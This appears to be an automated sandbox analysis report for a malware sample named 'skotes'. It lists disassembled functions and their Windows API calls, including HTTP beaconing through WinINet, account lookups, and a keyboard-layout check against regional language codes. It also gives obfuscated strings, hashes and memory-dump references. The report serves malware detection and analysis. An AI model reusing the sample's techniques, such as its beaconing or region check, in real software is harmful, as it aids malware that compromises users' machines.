Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$L1e$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-3134152726
Opcode ID: 2bb55f3bcaba476463494080b6cac35e783321d3bce89b1139f3610caeef7ee2
Instruction ID: 0ed4a7077f0ecaf9fe3c94a8d142fc08066a3c0a858aea1f93ea4cc835b733d9
Opcode Fuzzy Hash: 2bb55f3bcaba476463494080b6cac35e783321d3bce89b1139f3610caeef7ee2
Instruction Fuzzy Hash: 5A82B570A0428C9BEF18DF68C9497DE7FB6AF46304F508598E805673C2D7795A88CBD2

Function 00632517 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00646758), ref: 0063275C

Strings

Xgd, xrefs: 00632705, 0063270B
Eastern Summer Time, xrefs: 006327FA
Eastern Standard Time, xrefs: 006327CB

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time$Xgd
API String ID: 565725191-2667187983
Opcode ID: 1418aa503690f831f11ccd463c751a7890c78627b8e8f4642d18698ea340e271
Instruction ID: 1f60de30c4303ce1c2df139c1e5f45a49568e852358323f534ed1a8bb79aa2a9
Opcode Fuzzy Hash: 1418aa503690f831f11ccd463c751a7890c78627b8e8f4642d18698ea340e271
Instruction Fuzzy Hash: D9C12771A00216ABDB20DF68DC62AEA7BBBEF56310F14046DE941D7391E7309E46CBD4

Function 005F65E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 005F6680

Strings

RySfdMLx, xrefs: 005F669C
ISNmfV==, xrefs: 005F67D1
GSTmfV==, xrefs: 005F6728

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 612cfdebb96d125f08d3d8dd275186216ea33f51dec19d9e060b56cce0403705
Instruction ID: 248ae9e082441bd42673240cd9470e469ecc752abe01d0c309c316d069f1f1b5
Opcode Fuzzy Hash: 612cfdebb96d125f08d3d8dd275186216ea33f51dec19d9e060b56cce0403705
Instruction Fuzzy Hash: 669194B1A0011C9BDB28DB24CC85BEDBB79FB45304F4045EDE61997282DB759BC48FA8

Function 005FEB4E Relevance: 31.9, APIs: 3, Strings: 14, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 005FEB51
CreateDirectoryA.KERNEL32(00000000), ref: 005FEC83
GetFileAttributesA.KERNEL32(00000000), ref: 005FED98

Strings

L1e, xrefs: 005FF7E5
246122658369, xrefs: 005FF737, 005FFA14, 005FFE00, 006005E7
mxo1L0x, xrefs: 005FEE84
invalid stoi argument, xrefs: 006008B0
WDw=, xrefs: 005FF71D, 005FF9FA, 005FFDE3
FisgLnsCZO1i, xrefs: 005FFF19
#, xrefs: 00600624
WTs=, xrefs: 006005CA
111, xrefs: 005FF7A0
9c9aa5, xrefs: 005FFB8E
stoi argument out of range, xrefs: 006008C4
GiQaT29tduF=, xrefs: 005FFEB6
FCQgKF==, xrefs: 005FFEE4
UA==, xrefs: 005FEC41, 005FED56, 005FEF89, 005FF2CE

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$L1e$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2733412654
Opcode ID: 07caeadc763c2bce3a09e04f61459e8a7d1a9b37b54fac2581569ec2316447ac
Instruction ID: 6f66b0861c9f734a65ceb6b52f978c37fea67cfde6c9cc330d6309a060471792
Opcode Fuzzy Hash: 07caeadc763c2bce3a09e04f61459e8a7d1a9b37b54fac2581569ec2316447ac
Instruction Fuzzy Hash: 36F23B71A101489BEF1CDB38CD8979E7F73AF85304F14829CE449973D6DB399A848B91

Function 005FBE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,54AE89DA,?,00000000), ref: 005FBEB8
InternetOpenW.WININET(00648DC8,00000000,00000000,00000000,00000000), ref: 005FBEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 005FBEEB
HttpOpenRequestA.WININET(?,00000000), ref: 005FBF36
HttpSendRequestA.WININET(?,00000000), ref: 005FBFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 005FC0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 005FC160
InternetCloseHandle.WININET(?), ref: 005FC187
InternetCloseHandle.WININET(?), ref: 005FC18F
InternetCloseHandle.WININET(?), ref: 005FC197

Strings

invalid stoi argument, xrefs: 005FE4F4
8HJUeIfzLo==, xrefs: 005FC3CB, 005FC623
stoi argument out of range, xrefs: 005FE4EA
8HJUeMD Lq5=, xrefs: 005FC465
RE1NXF==, xrefs: 005FBF0E

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274708377.0000000000840000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274795321.0000000000848000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274874543.000000000084A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274929352.0000000000853000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275008146.0000000000858000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275082050.0000000000860000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275131121.0000000000862000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275212425.000000000086E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275296985.0000000000875000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275381944.000000000087F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275432230.0000000000880000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275486091.000000000088C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275561922.000000000088D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275607832.0000000000899000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.000000000089D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275683148.00000000008BC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275823106.00000000008E7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275903468.00000000008E9000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3275954058.00000000008EA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276032200.00000000008EE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276110523.00000000008F0000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276189749.00000000008FE000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3276236000.00000000008FF000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_5f0000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 4e9a4ed8f5aee515d1abd6307eac031a14567718be793af995d4ff8059f81891
Instruction ID: f223f1622b4edead925a9a2c3eb4de8064ff3cf2afb76596324be75d00adb565
Opcode Fuzzy Hash: 4e9a4ed8f5aee515d1abd6307eac031a14567718be793af995d4ff8059f81891
Instruction Fuzzy Hash: 70B1E3B1A0011C9BEB28CF28CD84BAE7F69FF45304F5045A9F609972C2DB759AC4CB95

Function 005F6020 Relevance: 12.5, APIs: 2, Strings: 5, Instructions: 275
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,00020019,80000001,0000043f,00000008,00000423,00000008,00000422,00000008,00000419,00000008), ref: 005F617D
RegEnumValueA.KERNEL32(?,00000000,?,00001000,00000000,00000000,00000000,00000000), ref: 005F6271

Strings

00000423, xrefs: 005F60FA
0000043f, xrefs: 005F612B
Keyboard Layout\Preload, xrefs: 005F6054
00000419, xrefs: 005F6098
00000422, xrefs: 005F60C9

Memory Dump Source

Source File: 00000006.00000002.3270359474.00000000005F1000.00000040.00000001.01000000.00000008.sdmp, Offset: 005F0000, based on PE: true

Associated: 00000006.00000002.3270190766.00000000005F0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270359474.0000000000652000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3270837424.0000000000659000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271004747.000000000065B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271179648.0000000000665000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271343354.0000000000666000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3271491378.0000000000667000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272327939.00000000007C6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272507422.00000000007C8000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272699394.00000000007D6000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3272885870.00000000007D7000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007DA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273029834.00000000007E1000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273314771.00000000007EB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273481461.00000000007EC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273626631.00000000007F6000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273813739.00000000007F8000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3273953244.00000000007F9000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274122226.00000000007FC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274219081.0000000000813000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274304249.0000000000814000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274426300.000000000081C000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274517807.0000000000827000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3274607199.000000000083D000.00000080.00000001.01000000.00000008.sdmpDownload File
